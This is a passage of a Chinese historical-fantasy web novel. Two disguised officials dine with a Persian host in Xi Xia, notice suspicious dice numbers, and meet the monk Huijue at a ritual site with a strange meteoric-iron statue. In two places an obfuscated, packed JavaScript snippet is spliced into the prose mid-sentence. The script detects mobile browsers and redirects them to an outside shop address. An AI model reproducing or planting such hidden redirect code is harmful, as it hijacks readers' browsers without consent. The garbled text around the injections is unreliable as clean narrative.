李在宥捏了捏魏无功扯着他的手。魏无功反捏了回去。李在宥的意思很明确,让他多观察。刚刚那间当铺前面几个关门的伙计,看着像是专业打手。 一进屋,里面装潢很有波斯风情,大片白墙配上繁复的几何纹地毯和毛毡挂饰,脚踩着地,软软的。屋里没有正经椅子,地上的矮几周围堆着五六块织锦垫,坐卧两用。 见他们进了屋,戈尔达端着羊汤从厨房走了出来跟他们打招呼。相比巴赫曼,她非常年轻,也非常漂亮。皮肤瓷白,黑发浓密卷曲,配着两对琥珀色的眸子,在烛光下颜色看上去很浅,亮晶晶的。一袭白衣在腰身上掐了一把,尽显婀娜,饶是李在宥这种性别男爱好男的,都忍不住多看一眼。 “我老婆戈尔达,漂亮吧!”巴赫曼突然望着他们来了一句,把正在偷看的魏无功吓一大跳。他赶紧回过神去看巴赫曼,发现他大胡子笑得一翘一翘的,并没有恶意,只是单纯的自豪。想来异域风俗,到底与中原不同,夫妻恩爱,说话也敞亮,没什么忌讳。 “漂亮,把我们魏大人眼睛都看直了。”李在宥在边上说,被魏无功一胳膊肘子撞到肋骨,还有点小疼。 戈尔达笑笑,回了个礼,施施然放下汤锅,抬手把碎发拨到耳后,招呼身后的嬷嬷把菜陆陆续续端上来。一锅羊汤,一大盘手抓羊肉,还有一大盘五颜六色的糯米饭,整个桌子见不到一颗青菜。 “你多喝点儿汤吧。”魏无功小声跟李在宥说,桌上也没别的好消化的东西。李在宥点点头。看得出来他虽然不舒服,但是勉强打点着精神。 “哦对,戈尔达,好姑娘,这位弟弟发热了,”王哥指着李在宥说:“把你那个特制汤药给他冲一剂吧。” “哟,”戈尔达一听,连忙走到李在宥边上,伸手摸了摸他脑袋:“烧得不低呢,等着,马上给你冲。”一边说一边拿了一条毛毯子盖在他身上。 李在宥闻见她身上有股没药和乳香的味道,刚刚信了一点保人的话,结果等东西端上来他又犹豫了——黑乎乎的一碗汤,气味也很奇怪——他压根儿就不敢喝! “这汤……怎么一股肉味儿?”一边的魏无功凑过去闻了一下,替李在宥把他想问的问题问了。 戈尔达捂嘴笑笑:“可能是里面有孜然。”她拿个小勺子将沉底的药渣捞起来给他们俩看:“有孜然、甘草、骆驼蓬籽,混了黑蜂蜜水,是我阿帕(妈妈)教给我的,能发汗,管你明天就能好。”她一边说一边把碗递到李在宥嘴边上。 魏无功知道李在宥不乐意,但他也没法儿。来人家地盘做客,女主人如此殷勤招待,疑神疑鬼的也不合适。他只好艰难地看着李大人委屈巴巴地张嘴,“吨吨吨”一鼓作气喝下去。李在宥喝完,为了不当着女主人的面儿吐出来,两眼发直缓了半天,末了道了声谢,整个人缩回毯子里,闷闷的。 魏无功被王哥和巴赫曼拉着喝点儿小酒,望着碗里乳白色的马奶酒,也是同样的一言难尽。 “好酸的酒……”一股奶酸味儿直冲天灵盖,把魏无功喝得龇牙咧嘴的,赶紧抓了一块羊排放嘴里啃。 “哈哈哈,来来来,别光喝酒,玩点儿骰子。”巴赫曼让嬷嬷拿了个小盅,里面放了三个兽骨做的小骰子。“比大小会吧。” “会。”魏无功说。这简单,三颗骰子,加起来过十是大,不过是小,猜错喝酒。 巴赫曼抓起骰子,在手心一搓,直接就往前面一掷——叮叮当当停住落在桌面上:四、五、六。 “十五,大。”他指着骰子,“你猜。” 这一顿操作给魏无功整不会了,一脸懵逼问:“那我猜……小?” 巴赫曼哈哈大笑,把他碗里的酒续满:“这个弟弟是个老实人,你看清楚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350291|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经是大了。你猜大,算你赢。你要猜小,现在就喝。” 魏无功愣两秒,随即一拍桌子:“老哥哥你这耍赖,掷完才让我猜!”原来是逗他的,还以为波斯规矩不一样呢。 巴赫曼跟他一碰碗,先自己干了一份,笑着说:“掷之前猜叫赌,掷之后猜叫赖。你说你是不是想赖?” 魏无功啧一声,回头看看李在宥。李在宥笑着一摊手:“别看我,明摆着的十五你自己要说小。” “行行行,再来!”魏无功撸起袖子,把自己面前的酒喝干净,两指一指骰盅:“你盖住了!” 巴赫曼又抓起骰子,这次放进了盅里,边笑边摇晃:“大还是小?” “大!”魏无功酒碗一磕。 巴赫曼把盅子一推:“三三四,十点大,你赢了。喝!”他一声暴喝,动静给一边儿愣神的李在宥吓一跳。 魏无功很豪迈地又喝了一口,喝完才反应过来:“诶?不是我赢了吗,我赢了我喝什么……”被他一嗓子吼懵了,又喝错了一碗。 王哥一边笑一遍给他斟满:“赢了要喝庆祝酒,这也是波斯的规矩。” 李在宥在后头微笑着看他们玩。西夏这边的人都刁得很,他自己不喜欢,不过魏大人看上去还挺能适应这种场合。 他半躺着眯着眼睛,听他们又开了一盅。“二二三,七点小,老王喝……”巴赫曼用带着卷舌音的调子说着话,李在宥迷迷糊糊算着魏大人喝到第几杯了。 突然,他睁开了眼睛。 “再猜!”王哥喝多了声音也开始越喊越大。 “猜小。”李在宥突然凑到魏无功背后,小声跟他说。魏无功一边应着小,一边回头看了一眼李在宥,他脑袋上冒着汗,眼神清明,感觉戈尔达的药方是有点儿东西在的。 巴赫曼开了盅子,五、二、一,八个点,果然是小。 “靠……不能这么巧吧……”李在宥心里念叨。听到前两盘的时候就隐约觉得不对劲,一番验证下来,这一串数字和曹月华癫痫时念叨的一模一样。 “你现在要玩吗?”魏无功看他,小声问。 李在宥摇摇头,重新倒了回去。刚刚发了些汗的身体这会儿又绷了起来。所谓的云昭阁线人,家里老婆做着晋王府人牙子的生意;半路杀出来的保人,当铺里养着专业打手;现在又出现一个似乎有灵视灵言的小姑娘…… 他突然感觉,他和魏大人在这地界,稍一个不留神,被人拿去扒皮抽筋卖了都不奇怪。 羊肉盘子见底的时候,有个隔壁脸上带刺青的打手敲门,带进来一个坊官(基层治安官)打扮的人进来。那个坊官进门就对着巴赫曼作揖:“巴赫曼老爷,听说你们的诺鲁孜节快到了,杨大人让我给您提点儿节礼。” 王哥一看,连忙起了身,让出了位置,跟巴赫曼说:“您这里来了别的客,正好我们也吃差不多了,我带他俩回去休息,今天谢谢您。” 巴赫曼跟众人点了个头,和戈尔达一起把他们送出门去,关上门跟坊官说话去了。王哥把两人送到提前租好的住处,说:“到了兴庆府,住的条件要好些,你们好好休息休息,明天睡饱了我们再出发。” 拜别了王哥,魏无功也从酒里回过神来,洗完澡问躺在床上的李在宥:“怎么地方官儿反过来给巴赫曼送东西?” “谁知道呢……”李在宥盯着天花板叹了口气。 “那个药,你喝完没什么别的不舒服吧?”魏无功听他语气有气无力的,拿了个蜡烛放在他边上看他脸色。 李在宥没接茬,只是看着他手里的烛光,忽然问:“你说,咱们这趟……能成吗?” “能。”魏无功一秒都没有犹豫。 他盯着李在宥看了一会儿,拿手抵着他的额头,感觉热好像退了一点,说:“计划外的事儿不总等于糟糕的事儿,对吧。” 李在宥被他大巴掌按着脑门儿,沉默了一会儿,说:“知道了。” 魏无功满意地点点头,回自己床上躺着,顺便熄了蜡烛。 臭了好几天,今天总算是洗了个热乎澡,这会儿心情正好,不想想别的,就想睡觉。 过了一会儿,黑暗里传来李在宥的声音:“身份证,于阗,血引。” “……又来了。”魏无功把被子蒙到头上。 “记性好,没办法。”李在宥轻声说。 过了一会儿,魏无功翻了个身,在被子里嘟囔一句:“……还有棉花籽。” “嗯,还有棉花籽……”李在宥笑笑,终于闭上眼睛。 54.迦陵频伽 第二天,坐车去法会的路上,李在宥和王贯生打听一会儿要见面的那位慧觉法师。没想到王哥一开口,又让他眼前一黑。 “这次的炽盛光法会,不由他主持了。”王贯生说。 “什么?”连魏无功都无语住了:“什么时候的事儿?” 梁阿兰给他们说的版本是,炽盛光法会十年一度,用于祈佑王室福祚延绵,行程安排两三年前就定好了。介绍到慧觉法师的时候,说他是晋王府内道场住持兼领造像工程总摄,官儿都做到僧正了,又是自己地盘,居然也能说换就换。 “刚定下的。”王贯生赶着牛车,头也没回:“我知道的时候,你们都已经进熙河路了。” 魏无功默默看了一眼李在宥,李在宥脸上没什么特别的表情,但是魏无功知道他压着火。 “那他现在算什么?”魏无功追问。 “总监工还是他,活儿一样不少干。但主持换了个新人,空降的,叫多杰坚赞。” “你昨天怎么不提?”李在宥开了口。 “想着没什么影响……”王贯生听他语气不好,回头看他一眼,后知后觉意识到自己疏忽了,坐直了身体说:“我以为你们接上头拿了证件就走,所以就没特意说……” 李在宥没立即接话。车轱辘碾过石子,颠了一下。 “会场还是要看一下的。”他深吸一口气,尽量控制着语调:“那个多杰坚赞,是什么来历?” “这人是不到半年前,乌珠(西夏对皇帝的称呼)身边横空杀出来的一个红人,官拜功德司副使,加衔国师,但是人其实还挺年轻,”王贯生眯着眼睛想着:“他履历很模糊,名字取‘金刚胜利幢’的意思,是宁玛派,早年在乌巴隆寺当过几年伏藏师,能查到的就这些,其他的……”他一边说一边小心观察李在宥的脸色:“其他的就不太清楚了。” 李在宥点点头。想了一会儿,他又问:“是谁举荐的知道吗?” “是晋王爷本人。”这个王贯生知道。 “哦?”李在宥的大脑飞快地转着:“那换人的事儿,是乌珠的意思,还是晋王的意思?” 王贯生听明白了,两个都是晋王爷自己的亲信,理论犯不上用一个换另一个。他拍拍李在宥肩膀:“你想问的我都懂。里边儿有个说法,我听着是觉得有点儿不靠谱,我说给你听,你琢磨琢磨。”他屁股往后一挪,脑袋往李在宥和魏无功那边靠了靠,说: “那个多杰坚赞,本来谁也不是,据说有一天突然梦里得了一件法器,被他放在一个人骨做的转经筒里,每转一圈,就能占凶卜吉。晋王爷找他扶乩,按他给的法门,带兵出去打仗,百战百胜,因此大喜过望,一夜间被他从庙里抬到宫里去了,现在直接给乌珠和东宫办事了。” “嘶——”听到这里,魏无功脑袋都大了:“这从哪里琢磨起……” 李在宥没再说话。牛车晃晃悠悠,远处已经能看见法会场地的脚手架,像牦牛脊骨戳在荒滩上。他想起在东京的战报,说晋王雄武经略,能拉重弓,射穿铁甲,近几年未输一仗,如有神助。原来,是这么个神么…… 车停稳的时候,魏无功先跳下去,伸手扶了一把李在宥,摸到他掌心有点潮。 “想什么呢?”魏无功在他耳边问。 “在想……”李在宥望着那片脚手架:“这场法会,乌珠到底要祈什么福。” 春回大地,连大漠的风都带上了暖意。魏无功把手搭在他肩上,推着他往前走。“走,一会儿问问那个慧觉,看他肯不肯再透点儿什么。” 法会工地规模很大,可以说是不输隔壁的西夏王陵。 方圆数里的荒漠被人为平整过,用灰白石灰铺了地基。正中央最大的一尊炽盛光佛泥塑已经建好,尚未上色。正对着佛像的用来观礼的木塔搭到第四层。法场外围竖着一圈金刹,绳子拉着各色经幡,被风扯得猎猎作响。 李在宥和魏无功准备进工地的时候被人搜了一圈身,把他们自带的工具都抽走了,说是里头有。魏无功舔了一下嘴皮子,跟李在宥小声说:“幸亏把靴刀放房间了。” “给你的油膏干嘛不用。”天干物燥,李在宥看他把嘴皮子啃掉一块儿冒了个血珠子,看得直咧咧。 “你见过哪个男的……”魏无功话说一半,转头看见李在宥嘴唇上油光放亮的,啧了一声:“算了,跟你说不清楚。” 宫里的贵人就是娇气。 “哎呦,慧觉今天好大的脾气啊。”王贯生把他们送到进门处,老远就听见有人在骂,拿下巴指了指监工台上赤急白脸的人说:“就他。” 两人顺势望过去,看慧觉穿着发旧的灰僧袍,拿着一个很气派的九环锡杖——正在气得疯狂用它杵地板。 “老和尚手劲儿不小呢,”魏无功乐了。慧觉看着瘦,镂空的木地板被他用锡杖捶得哐哐响,因为干活儿搁在一边的念珠被震得掉到了地上。底下跟他对话的工匠也不恼,欠欠身笑笑给他捡起珠子,继续说着话。 两人走入内场,假装路过,放缓步子靠过去,听见慧觉中气十足地吼:“胡闹!炽盛光佛坐中央,这是多少年的规矩,这是能商量的?” “总摄,”工匠头领苦着脸:“不是商量,是国师那边吩咐下来的——说换成迦陵频伽,方位、尺寸都不动,今天就得落位……” 一听这话,慧觉更气了:“迦陵频伽是护法,不是主尊!他一个野来路的萨满……” 他正骂着,目光抬起,看见了李在宥和魏无功,然后若无其事地转开,继续骂那几个工匠:“懂什么叫坛城?懂什么叫五方佛?……” 李在宥了然,搭着魏无功的肩膀直接往前走。“先去别的地儿转转吧,等他骂完的。”他说。 他们往边上走了几步,假装在看堆放石头颜料的棚子。魏无功看见地上有一道深深的车辙印,从工地大门一直延伸到过来,压进夯实的盐碱地里,足有三指深。 他于是蹲下去,好奇是什么东西这么重,用手指按了按辙印边缘的土。目光尽头,是中央的空地上一个巨大的方形物件,用苫布盖着。几个工匠正在拆周围的绳索。苫布被风掀起一角,露出里面三人高的木箱子。 他突然站了起来,目光盯着前面没动。 “怎么了?” “有味儿。”魏无功凝神吸了吸鼻子,“铁腥味。” 李在宥没闻出来,但被他这么一说有点儿紧张,问: “是血?” “不是。”魏无功又吸了吸,“感觉是铁。有点像铁锈……但又不太一样。” 李在宥呼一口气:“下次一口气说完,怪渗人的。” “瞧你那点儿胆,”魏无功重新搭回他肩膀,感觉老这么走路,他俩乔装的一对儿表兄弟都快装成亲兄弟了。 “诶,刚慧觉说的萨满,是指的那个金刚啥啥吗?”他问。 “金刚胜利幢,多杰坚赞,”李在宥笑着纠正他:“应该是的。” “那个慧觉是汉传僧,多杰坚赞修的密藏,可能他看不上,觉得所谓的秘法,和巫觋也差不多了,”李在宥想起慧觉和工匠的争吵,感叹道:“不过正中央的大佛说换就换,这个西夏国师,确实是年轻有为啊。” 魏无功斜了他一眼:“想说人家狂就直说呗,还‘年轻有为’,假不假。” “假。”李在宥点点头,眼睛两边张望。 一路上的各国工匠们,抬木料的、和泥的、调颜料的,忙得脚不沾地。绕过正中央的工地,最显眼的就是装载各色颜料的棚子。百十来个陶罐码得整整齐齐,罐口用布扎着,但遮不住里面的颜色——石青、藤黄、赭石、铅白……最靠里的一排全是朱砂,罐子堆了三层,红得像一排凝固的血膏。 魏无功皱了皱眉,想起玄清子的嘱咐,逮住身边一个低头研磨青金石的师傅,问:“彩绘,要用到这么多朱砂吗?” “一共四百一十八个佛身,还有中间莲花坛城地面,都是红色的。”老师傅说:“朱砂彩粉占了四成。” 魏无功点点头,道了声谢。物料储备的区域除了颜料、木材、石材、成捆的经幡,还有几十个封死的木箱,上面贴着封条,盖着晋王府的印。 “回去之后,还是喊上王哥一起,跟我们一路来的那几个汉子打听打听细节,”李在宥给魏无功安排活儿:“没准儿这些朱砂就是给那东西打掩护的……” 转了一圈下来,小半个时辰过去了。 等他们从观景塔绕回来找慧觉的时候,那个被苫布盖着的箱子已经空了。箱盖扔在一边。原本的炽盛光佛已经被撤下去了,换上了一尊巨大的迦陵频伽。 立在阳光底下,两人看着法场中央,才意识到这东西具体有多不对劲。 女人面、鸾鸟喙、双翼收拢在身后。最重要的是——它不反光。 大中午的阳光直直地照着,造像表面依旧一片沉沉的暗。周围的工匠们一边干活儿,一边跟他们一样,频频偷偷打量这奇怪的东西。 走近了看才发现,这石像的表面并不平整,有凸凹不平的许多孔隙,里面带着金属的细闪,但是因为着色太深,凑近了才看得清。 “是那个味儿。”魏无功压低声音问:“这是个什么石头?” 李在宥盯着那造像看了很久。它半跪在那儿,头戴宝莲,额点朱志,上身裸露,低着头,像在俯视他们,又像在等着什么。 “是陨铁。”他小声回答。 远处,慧觉法师提起锡杖,缓缓向他们走过来。风在戈壁滩上畅行无阻,直到撞上法场的围挡,卷着颜料粉末,在迦陵频伽周围扬起一圈彩色的烟。 朱砂的红,在那片沉甸甸的黑面前,显得格外刺眼。 “邪啊……”李在宥又开始叹气。 魏无功拍了拍他的背心。 慧觉重新戴上了念珠,比起玄清子的仙风道骨,他看上去更加入世,拥有一双干活儿的手,握着锡杖的手指甲里还有彩色的泥胚。 “两位施主,”慧觉单手施礼,跟他们打了招呼:“在下慧觉,初次见面,让二位见笑了。” 李在宥作了个揖,回他:“您有您的难处。” 慧觉从袖口里掏出两本通关文牒交给他们,眼睛四周看了一圈,小声对李在宥说:“听梁将军说,你们在找回鹘人的商路和光明血,我冒昧问一句,可有眉目了?” 李在宥愣了一下,摇摇头。 “我这里有一点门路,”慧觉也不绕弯子:“如果你们愿意的话,可以在晋王府周边多留一阵子。” 魏无功看了眼李在宥,问:“这是梁阿兰的意思?” “不,是我自己的。”慧觉说。 “我说这件事也不是为了你们,也有一部分是为我自己。”慧觉说话语速很快:“我在晋王府已经二十载春秋,两届炽盛光法会,坛城布局、造像规制、仪轨流程都是我操办的,晋王满意,乌珠也满意。我以为这次也是……” 慧觉心里还是有气,皱着眉头,锡杖在地上轻轻一顿。 “那个多杰坚赞,”他吟了一会儿,把自己的失意压下去,“你们听说了吧。” 魏无功点头:“听说了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354500|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哼。”慧觉从鼻子里哼出一声:“我修了大半辈子佛,没见过靠梦里捡个法器就能当国师的。就算是伏藏秘法不对人彰显,但伏藏莲师埋下的经卷法物,至少得有传承印证吧,他那个转经筒,哪儿来的?谁埋的?怎么到他手里的?一概说不清。” “我不允许晋王府里有妖人作乱,那个光头萨满的本事和光明血脱不了干系!”慧觉越说越气,魏无功在边上没忍住笑出声,被李在宥偷偷捣了一把。 “您是想让我们去找多杰坚赞本领的来路吗?”李在宥问。 “是,也不是……”慧觉看了眼魏无功,有点不太高兴:“论理王爷的事儿就是我的事儿,不该交由其他人。但是这几年战事多,晋王爷长久在外面,管不着宫闱里的细节……” “你对儒学了不了解?”慧觉突然问:“梁将军说云昭阁的人学富五车,不知道……” “九经和各学派都有涉猎。”李在宥也没跟他谦虚。 “那好,那太好了,”慧觉终于是高兴起来,跟他解释道:“我问这事儿,为的是有朝一日,能够找个由头,让你见上琳琅夫人。” 慧觉给两人简单介绍了一下西夏宫廷和晋王府的政治生态: 晋王爷有位得宠的汉姓姬妾,闺名琳琅。听说从小饱读诗书,通文墨、懂经典,为人更是八面玲珑,长袖善舞。这些年下来,她不仅笼络住了晋王的心,连后宫里的娘娘们也常跟她走动,能量大得很。 “如今乌珠大兴儒学,”慧觉说:“宫廷内外都跟着风向走,互相攀比谁的儒学修养深、谁家养的儒士多。这位琳琅夫人,就是里头最拔尖儿的。 晋王爷专门给她修了一座琳琅阁,允许她定期举办文会,招揽天下儒生。几年下来,这琳琅文会已经成了兴庆府上流社会最大的交际圈子——能进那个门的,才、钱、权至少有一个是顶天的。” 李在宥听到这儿,心里已经明白了几分。 “那位多杰坚赞,”慧觉顿了顿,“就是她一手保上去的。” 他看了一眼李在宥的脸色,继续说:“回鹘人最大的商帮头领,奥尔古,也是她阁里的常客。” “所以我想给你们编个身份,”慧觉终于说到正题,“一则带你们进去,方便你们查自己想要的东西。二则……” 他垂了垂眼眸: “也想请二位帮我在琳琅夫人面前,好言几句。” 慧觉抬起头,望着远处那尊巨大的迦陵频伽,说:“不求别的,只求她莫让晋王爷有了伏藏师,就忘了慧觉老和尚……” “容我想两天。”李在宥说。 眼前这位老僧,僧袍很旧了,袖口泛白,满脸哀戚。他不会因为一个一时失宠的僧人心软,但是他说的回鹘商帮、多杰坚赞和西夏内廷,每一件都挠得他心痒。 “两天之后,去与不去,我都给你答复。”李在宥说。 慧觉点点头,冲两人行了个礼,轻轻提起锡杖回去监工去了。 等他走远了,李在宥弹了一下魏无功的发梢,问:“你刚笑什么呢?” “不是……”魏无功一听他这话又乐了:“他刚骂那个多杰坚赞‘光头萨满’来着……” “怎么?” “可是他自己就是个光头啊!” “神经病,”李在宥也忍不住笑了:“你这谜一样的关注点……” “话又说回来,西夏的僧人,很接地气啊。”魏无功感叹一句。慧觉和他见过的僧侣都不太一样,可能因为有官职的世俗身份在,除了打扮本身,并不像常规想象中的出家人。说话就用“你我他”,也没有那些“施主”、“贫道”之类的。 “刚笑他他还瞪我,一点儿也不像吃斋念佛的。” “早听说吃素的脾气反而大,看来不假。”李在宥啧一声:“一把年纪了,还要围着王姬的裙子打转,求王爷多看一眼,太惨了。” 回了住所,两人拉着王贯生一番合计,还是决定留在晋王府观察两天。 “你们俩的保费我已经和巴赫曼结清了,现在算是自由身,可以随意走动,”王贯生把他俩签字的白契交还给他们:“如果还想去法会场,仍扮作工匠也是可以的,那边工头我也打好招呼了。” “谢谢王哥,这趟没您真不行。”李在宥打开包袱,在玉轴的《孝经》和官刻《春秋》之间一番权衡,最终拿了那本看上去简素的《春秋》出来给了王贯生,说:“后天拜托您再去一趟,把这个交给慧觉法师,算是投石问路。” 王贯生点点头,应下了这件事。 “公主当初联系我说光明血的时候,我也留意过,夏国这边暂时还没有大规模用在军队里的先例,晋王的扶乩和这个不确定是不是一回事,可能也不是。”王贯生有点担心他们的安危,补了一句:“你王嫂虽然跟晋王府的管家婆子们混了个眼熟,但是慧觉那边我们以前没交集,更别提进去琳琅文会了……梁将军那边,信得过吧。” “谁知道呢,”魏无功撇撇嘴:“只能希望她收了敢战营心情好吧。” 几个人正说着话,听见外面一阵争吵,声音最大的好像是王嫂。 王贯生听了这动静,挠挠头起了身,说:“不好意思啊,我出去看一眼。” 两人侧身让开门,王贯生打头先出去了。魏无功跟在他后面探出头看了一眼,发现是曹月华在跟王嫂吵架,王嫂掐着个腰正骂,曹月华笑嘻嘻地不接茬。 正准备把脑袋缩回去,突然远处的曹月华看向了这边,发现是他的时候,从地上站起身,指着他大喊了一声: “恩人!”